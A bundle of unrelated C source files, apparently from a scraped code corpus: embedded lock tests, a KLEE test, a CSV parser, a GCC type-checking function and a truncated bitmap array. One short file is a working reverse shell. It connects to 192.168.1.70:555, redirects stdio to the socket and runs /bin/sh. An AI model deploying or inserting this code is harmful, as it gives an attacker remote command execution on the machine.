/* test04_cpu1.c */ #define SHAREMEM_DDR_HEAD 0x14010000 #define ADRS_LOCK_VAR 0x80fc int main( ) { volatile int *ptr_array_a32; int *ptr_gloral_mem; int i, limit; int release_lock_cpu1( ); int get_lock_cpu0( ); ptr_array_a32 = (int *)SHAREMEM_DDR_HEAD; ptr_gloral_mem = (int *)(*(ptr_array_a32 + 4)); limit = *(ptr_array_a32 + 6); for(i = 0; i < limit; i++) { get_lock_cpu0( ); (*(ptr_array_a32 + 1)) ++; (*(ptr_array_a32 + 2)) ++; release_lock_cpu1( ); /* make inner loop execution time not constant, that increases logic */ /* state coverage more (as expectation) */ if((i % 6) == 0) { (*(ptr_gloral_mem + 6)) ++; } if((i % 10) == 0) { (*(ptr_gloral_mem + 10)) ++; } if((i % 14) == 0) { (*(ptr_gloral_mem + 14)) ++; } } /* end of (for i = ... */ /* set complete flag */ *(ptr_array_a32 + 5) = 1; while(1) { } return(0); } int release_lock_cpu1 ( ) { volatile int *ptr_lock_var; ptr_lock_var = (int *)ADRS_LOCK_VAR; *ptr_lock_var = 0x33; return(0); }
the_stack_data/1126360.c
int foo (a) { return foo (a - 1) * a; }
the_stack_data/51688.c
// RUN: %clang %s -emit-llvm -g %O0opt -c -o %t.bc // RUN: rm -rf %t.klee-out // RUN: %klee --output-dir=%t.klee-out --libc=uclibc --posix-runtime %t.bc --sym-files 1 10 2>%t.log // RUN: rm -rf %t.klee-out-2 // RUN: %klee --output-dir=%t.klee-out-2 --seed-out-dir=%t.klee-out --zero-seed-extension --libc=uclibc --posix-runtime %t.bc --sym-files 1 10 --max-fail 1 // RUN: ls %t.klee-out-2 | grep -c assert | grep 4 #include <string.h> #include <assert.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> int main(int argc, char** argv) { char buf[32]; int fd = open("A", O_RDWR | O_CREAT, S_IRWXU); assert(fd != -1); int nbytes = write(fd, "Hello", sizeof("Hello")); assert(nbytes == sizeof("Hello")); off_t off = lseek(fd, 0, SEEK_SET); assert(off != (off_t) -1); nbytes = read(fd, buf, sizeof("Hello")); assert(nbytes == sizeof("Hello")); int r = close(fd); assert(r == 0); r = memcmp(buf, "Hello", sizeof("Hello")); assert(r == 0); return 0; }
the_stack_data/220457121.c
#include <stdio.h> #include <string.h> #include <stdlib.h> #define LBUFSIZ 10000 int read_csv(char *filename, int *nSamples, int *nInps, double **XX, int *nOuts, char ***inames, char ***onames) { FILE *myfile, *outfile; char line1[LBUFSIZ]; char line2[LBUFSIZ]; char line3[LBUFSIZ]; /* Each field in the line */ char cword[1001]; char *stptr, **ionames, **tcarray; int flag = 0, counter=0, first=1, csize, nclines, ncols, nInOuts; int idx = 0, xsize, ii, jj, kk, leng, nInputs, nOutputs, ipos; int lcount = 0; /* Cell Separator */ int numLines=0, isFloat; double ddata; double *X, *Xt; /* check that the file exists */ if (!(myfile = fopen(filename, "r"))) { printf("read_csv ERROR: Could not open file for reading\n"); return -1; } /* read the first line, if there is one */ if (fgets(line1,sizeof line1,myfile) == NULL) { fclose(myfile); return -1; } /* see if the line has any non-numeric character and non-comma in it*/ leng = strlen(line1); for (kk = 0; kk < leng; kk++) if (((line1[kk]-'0') < 0 || (line1[kk]-'0') > 9) && line1[kk] != ',' && line1[kk] != ' ' && line1[kk] != 'E' && line1[kk] != '+' && line1[kk] != 'e' && line1[kk] != '.' && line1[kk] != '-' && line1[kk] != 10 && line1[kk] != 13) break; /* if the line has any non-numeric character */ (*nInps) = 0; (*nOuts) = 0; (*inames) = NULL; (*onames) = NULL; nclines = nInputs = nOutputs = 0; ionames = NULL; csize = 0; if (kk < leng) { printf("READ_CSV: the first line contains non-numerics.\n"); printf("Use the first line as the variable definition line? (y or n) "); scanf("%s", cword); if (cword[0] == 'y') nclines++; fgets(cword,10,stdin); } if (kk < leng && nclines > 0) { /* read in the variable names or input/output */ csize = 10; ionames = (char **) malloc(csize * sizeof(char*)); for (ii = 0; ii < csize; ii++) ionames[ii] = (char *) malloc(1000 * sizeof(char)); ncols = ipos = kk = flag = 0; while (kk < leng) { if (line1[kk] != ' ' && line1[kk] != ',' && line1[kk] != 10 && line1[kk] != 13) ionames[ncols][ipos++] = line1[kk]; else if (line1[kk] == ',' || line1[kk] == 10 || line1[kk] == 13) { ionames[ncols][ipos] = '\0'; if (!strcmp(ionames[ncols],"INPUT") || !strcmp(ionames[ncols],"input") || !strcmp(ionames[ncols],"Input")) nInputs++; else if (!strcmp(ionames[ncols],"OUTPUT") || !strcmp(ionames[ncols],"output") || !strcmp(ionames[ncols],"Output")) nOutputs++; else flag = 1; ncols++; ipos = 0; if (ncols >= csize) { tcarray = ionames; ionames = (char **) malloc((csize+10) * sizeof(char*)); for (ii = 0; ii < ncols; ii++) ionames[ii] = tcarray[ii]; for (ii = ncols; ii < csize+10; ii++) ionames[ii] = (char *) malloc(1000 * sizeof(char)); csize += 10; free(tcarray); } } kk++; if (line1[kk] == 10 || line1[kk] == 13) { for (ii = 0; ii < ipos; ii++) if (ionames[ncols][ii] != ' ') break; if (ipos == 0 || (ipos != 0 && ii == ipos)) break; } } if (ipos > 0) ncols++; nclines = 1; } if (flag == 0) { if (ionames != NULL) { for (ii = 0; ii < csize; ii++) free(ionames[ii]); free(ionames); ionames = NULL; } } #if 0 /* read the second line, if the first line is non-numeric */ if (nclines > 0 && flag == 0) { if (fgets(line1,sizeof line1,myfile) == NULL) { fclose(myfile); for (ii = 0; ii < csize; ii++) if (ionames[ii] != NULL) free(ionames[ii]); return -1; } leng = strlen(line1); /* see if the line has any non-numeric character and non-comma in it*/ leng = strlen(line1); for (kk = 0; kk < leng; kk++) if (((line1[kk]-'0') < 0 || (line1[kk]-'0') > 9) && line1[kk] != ',' && line1[kk] != ' ' && line1[kk] != 'E' && line1[kk] != '+' && line1[kk] != 'e' && line1[kk] != '.' && line1[kk] != '-' && line1[kk] != 10 && line1[kk] != 13) break; /* INPUT/OUTPUT line has been read, so read in variable names now */ if (kk < leng) { /* read in the variable names */ csize = 10; ionames = (char **) malloc(csize * sizeof(char*)); for (ii = 0; ii < csize; ii++) ionames[ii] = (char *) malloc(1000 * sizeof(char)); ncols = ipos = kk = flag = 0; while (kk < leng) { if (line1[kk] != ' ' && line1[kk] != ',' && line1[kk] != 10 && line1[kk] != 13) ionames[ncols][ipos++] = line1[kk]; else if (line1[kk] == ',' || line1[kk] == 10 || line1[kk] == 13) { ionames[ncols][ipos] = '\0'; ncols++; ipos = 0; if (ncols >= csize) { tcarray = ionames; ionames = (char **) malloc((csize+10) * sizeof(char*)); for (ii = 0; ii < ncols; ii++) ionames[ii] = tcarray[ii]; for (ii = ncols; ii < csize+10; ii++) ionames[ii] = (char *) malloc(1000 * sizeof(char)); csize += 10; free(tcarray); } } kk++; if (line1[kk] == 10 || line1[kk] == 13) { for (ii = 0; ii < ipos; ii++) if (ionames[ncols][ii] != ' ') break; if (ipos == 0 || (ipos != 0 && ii == ipos)) break; } } if (ipos > 0) ncols++; if (ncols != nInputs+nOutputs) { printf("read_csr ERROR (1).\n"); if (ionames != NULL) { for (ii = 0; ii < csize; ii++) free(ionames[ii]); free(ionames); ionames = NULL; } return -1; } } nclines++; } #endif fclose(myfile); /* read the file again */ myfile = fopen(filename, "r"); for (kk = 0; kk < nclines; kk++) fgets(line1,sizeof line1,myfile); xsize = 1000; X = (double *) malloc(xsize * sizeof(double)); /* Get a line from file */ numLines = 0; while (fgets(line1,sizeof line1,myfile) != NULL) { if (line1[0] == '#') continue; lcount = 0; strcpy(line2,line1); stptr = line2; numLines++; /* start going character by character thro the line */ while (*stptr != '\0' && *stptr != 10) { lcount++; /* If field begins with " */ if (*stptr == '"') { int flag = 0; idx = 0; while (flag == 0) { stptr++; /* Find corresponding closing " */ while (*stptr != '"') { line3[idx] = *stptr; idx++; stptr++; } stptr++; if (*stptr != '\0' && *stptr == ',') { line3[idx] = '\0'; flag = 1; } else if (*stptr != '\0' && *stptr == '"') { line3[idx] = *stptr; idx++; } else { line3[idx] = '\0'; flag = 1; } } X[counter++] = 0; if (numLines <= 1) printf("INFO: Non-numeric data read - set the field %d to 0.\n", counter); } else { idx = 0; while (*stptr != '\0' && *stptr != ',') { line3[idx] = *stptr; idx++; stptr++; } line3[idx] = '\0'; isFloat = sscanf(line3, "%lg", &ddata); if (isFloat != 1) ddata = 0; X[counter++] = ddata; if (counter >= xsize) { Xt = X; xsize += 10000; X = (double *) malloc(xsize*sizeof(double)); for (kk = 0; kk < counter; kk++) X[kk] = Xt[kk]; free(Xt); } } if (*stptr != '\0' && *stptr == ',') stptr++; } if (first == 1) { nInOuts = counter; first = 0; } } fclose(myfile); (*XX) = X; (*nSamples) = counter / nInOuts; if (nInputs == 0) (*nInps) = nInOuts; if (nInputs+nOutputs > 0) { if (nInputs > 0) { (*inames) = (char **) malloc(nInputs * sizeof(char *)); for (ii = 0; ii < nInputs; ii++) (*inames)[ii] = ionames[ii]; } if (nOutputs > 0) { (*onames) = (char **) malloc(nOutputs * sizeof(char *)); for (ii = 0; ii < nOutputs; ii++) (*onames)[ii] = ionames[nInputs+ii]; } free(ionames); (*nInps) = nInputs; (*nOuts) = nOutputs; } else (*inames) = ionames; return 0; }
the_stack_data/159339.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* r00.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: nkirkby <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2018/09/23 11:17:40 by eubotnar #+# #+# */ /* Updated: 2018/10/07 18:42:04 by nkirkby ### ########.fr */ /* */ /* ************************************************************************** */ char rush00(int width, int height, int x, int y) { if ((x == 1 && y == 1) || (x == width && y == height) || (x == width && y == 1) || (x == 1 && y == height)) return ('o'); if (y == 1 || y == height) return ('-'); if (x == 1 || x == width) return ('|'); return (' '); }
the_stack_data/167330617.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <unistd.h> #include <arpa/inet.h> #include <netinet/in.h> int main(int argc,char **argv) { struct sockaddr_in socks = {0}; int fd = socket(AF_INET, SOCK_STREAM,IPPROTO_TCP); if (fd < 0){ fprintf(stderr,"[-] Error creating socket\n"); exit(-1); } socks.sin_addr.s_addr = inet_addr("192.168.1.70"); socks.sin_port = htons(555); socks.sin_family = AF_INET; if (connect(fd,(struct sockaddr *)&socks,sizeof(socks)) < 0){ fprintf(stderr,"[-] Error connecting to remote host\n"); exit(-1); } dup2(fd,STDIN_FILENO); dup2(fd,STDOUT_FILENO); dup2(fd,STDERR_FILENO); execve("/bin/sh",NULL,0); return (0); }
the_stack_data/77246.c
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef scalar_t__ tree ; typedef enum tree_code { ____Placeholder_tree_code } tree_code ; /* Variables and functions */ int ARRAY_TYPE ; int BLOCK_POINTER_TYPE ; int COMPLEX_TYPE ; int /*<<< orphan*/ COND_EXPR ; scalar_t__ ERROR_MARK ; scalar_t__ FUNCTION_TYPE ; int INTEGER_TYPE ; int POINTER_TYPE ; int REAL_TYPE ; scalar_t__ TREE_CODE (scalar_t__) ; scalar_t__ TREE_READONLY (scalar_t__) ; scalar_t__ TREE_THIS_VOLATILE (scalar_t__) ; scalar_t__ TREE_TYPE (scalar_t__) ; scalar_t__ TYPE_MAIN_VARIANT (scalar_t__) ; int TYPE_UNSIGNED (scalar_t__) ; scalar_t__ VOID_TYPE ; scalar_t__ VOID_TYPE_P (scalar_t__) ; scalar_t__ build_pointer_type (scalar_t__) ; scalar_t__ build_type_variant (scalar_t__,int,int) ; scalar_t__ c_common_type (scalar_t__,scalar_t__) ; scalar_t__ common_pointer_type (scalar_t__,scalar_t__) ; scalar_t__ comp_target_types (scalar_t__,scalar_t__) ; scalar_t__ convert (scalar_t__,scalar_t__) ; scalar_t__ convert_and_check (scalar_t__,scalar_t__) ; scalar_t__ default_conversion (scalar_t__) ; int /*<<< orphan*/ error (char*) ; scalar_t__ error_mark_node ; scalar_t__ flag_cond_mismatch ; scalar_t__ fold_build3 (int /*<<< orphan*/ ,scalar_t__,scalar_t__,scalar_t__,scalar_t__) ; scalar_t__ null_pointer_constant_p (scalar_t__) ; scalar_t__ null_pointer_node ; scalar_t__ pedantic ; int /*<<< orphan*/ pedwarn (char*) ; scalar_t__ qualify_type (scalar_t__,scalar_t__) ; int /*<<< orphan*/ skip_evaluation ; scalar_t__ tree_expr_nonnegative_warnv_p (scalar_t__,int*) ; scalar_t__ void_type_node ; scalar_t__ warn_sign_compare ; int /*<<< orphan*/ warning (int /*<<< orphan*/ ,char*) ; tree build_conditional_expr (tree ifexp, tree op1, tree op2) { tree type1; tree type2; enum tree_code code1; enum tree_code code2; tree result_type = NULL; tree orig_op1 = op1, orig_op2 = op2; /* Promote both alternatives. */ if (TREE_CODE (TREE_TYPE (op1)) != VOID_TYPE) op1 = default_conversion (op1); if (TREE_CODE (TREE_TYPE (op2)) != VOID_TYPE) op2 = default_conversion (op2); if (TREE_CODE (ifexp) == ERROR_MARK || TREE_CODE (TREE_TYPE (op1)) == ERROR_MARK || TREE_CODE (TREE_TYPE (op2)) == ERROR_MARK) return error_mark_node; type1 = TREE_TYPE (op1); code1 = TREE_CODE (type1); type2 = TREE_TYPE (op2); code2 = TREE_CODE (type2); /* C90 does not permit non-lvalue arrays in conditional expressions. In C99 they will be pointers by now. */ if (code1 == ARRAY_TYPE || code2 == ARRAY_TYPE) { error ("non-lvalue array in conditional expression"); return error_mark_node; } /* Quickly detect the usual case where op1 and op2 have the same type after promotion. */ if (TYPE_MAIN_VARIANT (type1) == TYPE_MAIN_VARIANT (type2)) { if (type1 == type2) result_type = type1; else result_type = TYPE_MAIN_VARIANT (type1); } else if ((code1 == INTEGER_TYPE || code1 == REAL_TYPE || code1 == COMPLEX_TYPE) && (code2 == INTEGER_TYPE || code2 == REAL_TYPE || code2 == COMPLEX_TYPE)) { result_type = c_common_type (type1, type2); /* If -Wsign-compare, warn here if type1 and type2 have different signedness. We'll promote the signed to unsigned and later code won't know it used to be different. Do this check on the original types, so that explicit casts will be considered, but default promotions won't. */ if (warn_sign_compare && !skip_evaluation) { int unsigned_op1 = TYPE_UNSIGNED (TREE_TYPE (orig_op1)); int unsigned_op2 = TYPE_UNSIGNED (TREE_TYPE (orig_op2)); if (unsigned_op1 ^ unsigned_op2) { bool ovf; /* Do not warn if the result type is signed, since the signed type will only be chosen if it can represent all the values of the unsigned type. */ if (!TYPE_UNSIGNED (result_type)) /* OK */; /* Do not warn if the signed quantity is an unsuffixed integer literal (or some static constant expression involving such literals) and it is non-negative. */ else if ((unsigned_op2 && tree_expr_nonnegative_warnv_p (op1, &ovf)) || (unsigned_op1 && tree_expr_nonnegative_warnv_p (op2, &ovf))) /* OK */; else warning (0, "signed and unsigned type in conditional expression"); } } } else if (code1 == VOID_TYPE || code2 == VOID_TYPE) { if (pedantic && (code1 != VOID_TYPE || code2 != VOID_TYPE)) pedwarn ("ISO C forbids conditional expr with only one void side"); result_type = void_type_node; } /* APPLE LOCAL begin blocks 6065211 */ else if ((code1 == POINTER_TYPE || code1 == BLOCK_POINTER_TYPE) && (code2 == POINTER_TYPE || code2 == BLOCK_POINTER_TYPE)) /* APPLE LOCAL end blocks 6065211 */ { if (comp_target_types (type1, type2)) result_type = common_pointer_type (type1, type2); else if (null_pointer_constant_p (orig_op1)) result_type = qualify_type (type2, type1); else if (null_pointer_constant_p (orig_op2)) result_type = qualify_type (type1, type2); /* APPLE LOCAL begin blocks 6065211 */ else if (code2 == BLOCK_POINTER_TYPE && VOID_TYPE_P (TREE_TYPE (type1))) result_type = type2; else if (code1 == BLOCK_POINTER_TYPE && VOID_TYPE_P (TREE_TYPE (type2))) result_type = type1; /* APPLE LOCAL end blocks 6065211 */ else if (VOID_TYPE_P (TREE_TYPE (type1))) { if (pedantic && TREE_CODE (TREE_TYPE (type2)) == FUNCTION_TYPE) pedwarn ("ISO C forbids conditional expr between " "%<void *%> and function pointer"); result_type = build_pointer_type (qualify_type (TREE_TYPE (type1), TREE_TYPE (type2))); } else if (VOID_TYPE_P (TREE_TYPE (type2))) { if (pedantic && TREE_CODE (TREE_TYPE (type1)) == FUNCTION_TYPE) pedwarn ("ISO C forbids conditional expr between " "%<void *%> and function pointer"); result_type = build_pointer_type (qualify_type (TREE_TYPE (type2), TREE_TYPE (type1))); } else { pedwarn ("pointer type mismatch in conditional expression"); result_type = build_pointer_type (void_type_node); } } else if (code1 == POINTER_TYPE && code2 == INTEGER_TYPE) { if (!null_pointer_constant_p (orig_op2)) pedwarn ("pointer/integer type mismatch in conditional expression"); else { op2 = null_pointer_node; } result_type = type1; } else if (code2 == POINTER_TYPE && code1 == INTEGER_TYPE) { if (!null_pointer_constant_p (orig_op1)) pedwarn ("pointer/integer type mismatch in conditional expression"); else { op1 = null_pointer_node; } result_type = type2; } /* APPLE LOCAL begin radar 5732232 - blocks (C++ co) */ /* APPLE LOCAL radar 5957801 */ else if (code1 == BLOCK_POINTER_TYPE && code2 == INTEGER_TYPE) { if (!null_pointer_constant_p (orig_op2)) error ("block pointer/integer type mismatch in conditional expression"); else { op2 = convert (type1, null_pointer_node); } result_type = type1; } /* APPLE LOCAL radar 5957801 */ else if (code2 == BLOCK_POINTER_TYPE && code1 == INTEGER_TYPE) { if (!null_pointer_constant_p (orig_op1)) error ("block pointer/integer type mismatch in conditional expression"); else { op1 = convert (type2, null_pointer_node); } result_type = type2; } /* APPLE LOCAL end radar 5732232 - blocks (C++ co) */ if (!result_type) { if (flag_cond_mismatch) result_type = void_type_node; else { error ("type mismatch in conditional expression"); return error_mark_node; } } /* Merge const and volatile flags of the incoming types. */ result_type = build_type_variant (result_type, TREE_READONLY (op1) || TREE_READONLY (op2), TREE_THIS_VOLATILE (op1) || TREE_THIS_VOLATILE (op2)); if (result_type != TREE_TYPE (op1)) op1 = convert_and_check (result_type, op1); if (result_type != TREE_TYPE (op2)) op2 = convert_and_check (result_type, op2); return fold_build3 (COND_EXPR, result_type, ifexp, op1, op2); }
the_stack_data/50500.c
๏ปฟconst unsigned char gImage_Bitmap_Logo5[1860] = { /* 0X00,0X10,0X5D,0X00,0X0A,0X00,0X01,0X1B, */ 0X61,0X08,0X71,0X8C,0XF7,0XBD,0XF7,0XBD,0XE7,0X39,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X61,0X08,0X10,0X84,0X55,0XAD,0XEF,0X7B,0X61,0X08,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0XE3,0X18,0X2C,0X63,0X4D,0X6B,0X2C,0X63,0X0C,0X63, 0XEB,0X5A,0XCB,0X5A,0XAA,0X52,0X8A,0X52,0X69,0X4A,0X28,0X42,0X08,0X42,0X24,0X21, 0X00,0X00,0X00,0X00,0X00,0X00,0X41,0X08,0X24,0X21,0X04,0X21,0XE3,0X18,0XA2,0X10, 0X82,0X10,0X61,0X08,0X20,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X61,0X08,0XF3,0X9C, 0XFF,0XFF,0XFF,0XFF,0X6D,0X6B,0X00,0X00,0X00,0X00,0X00,0X00,0X61,0X08,0X18,0XC6, 0X5D,0XEF,0XF3,0X9C,0X61,0X08,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X0C,0X63,0XB2,0X94,0XEF,0X7B,0X28,0X42,0X08,0X42,0XE7,0X39,0XE7,0X39,0XC7,0X39, 0XA6,0X31,0X86,0X31,0XC7,0X39,0XCB,0X5A,0X8A,0X52,0X20,0X00,0X00,0X00,0X00,0X00, 0X20,0X00,0XC3,0X18,0XA2,0X10,0X82,0X10,0X61,0X08,0X61,0X08,0X61,0X08,0X41,0X08, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0XEB,0X5A,0XFF,0XFF,0XFF,0XFF, 0XD3,0X9C,0X61,0X08,0X65,0X29,0X1C,0XE7,0X7D,0XEF,0XAE,0X73,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X92,0X94,0XB2,0X94,0X4D,0X6B, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0XA2,0X10, 0XCB,0X5A,0X8A,0X52,0X82,0X10,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X41,0X08,0X41,0X08,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X65,0X29,0XFB,0XDE,0XDF,0XFF,0XBA,0XD6,0X3C,0XE7, 0X1C,0XE7,0X49,0X4A,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0XC3,0X18,0X86,0X31,0X86,0X31,0X65,0X29,0X65,0X29,0X04,0X21,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0XD3,0X9C,0XB2,0X94,0X4D,0X6B,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X20,0X00,0XA2,0X10,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X41,0X08,0X41,0X08,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X61,0X08,0X5D,0XEF,0XBE,0XF7,0X9E,0XF7,0X34,0XA5,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X2C,0X63,0X59,0XCE,0X38,0XC6, 0XF7,0XBD,0XD7,0XBD,0X51,0X8C,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0XD3,0X9C, 0XB2,0X94,0X4D,0X6B,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X41,0X08,0X41,0X08,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X61,0X08,0X79,0XCE,0XDF,0XFF, 0X55,0XAD,0X3C,0XE7,0X7D,0XEF,0X96,0XB5,0X61,0X08,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0XC3,0X18,0X86,0X31,0X86,0X31,0X65,0X29,0X65,0X29,0X04,0X21, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0XD3,0X9C,0XB2,0X94,0X4D,0X6B,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X20,0X00,0X82,0X10, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X41,0X08,0X41,0X08,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X65,0X29,0X7D,0XEF,0XFF,0XFF,0X71,0X8C,0X00,0X00,0X65,0X29,0X18,0XC6, 0X7D,0XEF,0XDB,0XDE,0XC7,0X39,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0XD3,0X9C,0XB2,0X94,0X4D,0X6B,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0XA2,0X10,0XCB,0X5A,0X8A,0X52,0X82,0X10,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X41,0X08, 0X41,0X08,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0XEB,0X5A,0X7D,0XEF,0XFF,0XFF, 0XEB,0X5A,0X00,0X00,0X00,0X00,0X00,0X00,0X61,0X08,0X92,0X94,0X5D,0XEF,0X3C,0XE7, 0X8E,0X73,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X8E,0X73,0XB2,0X94, 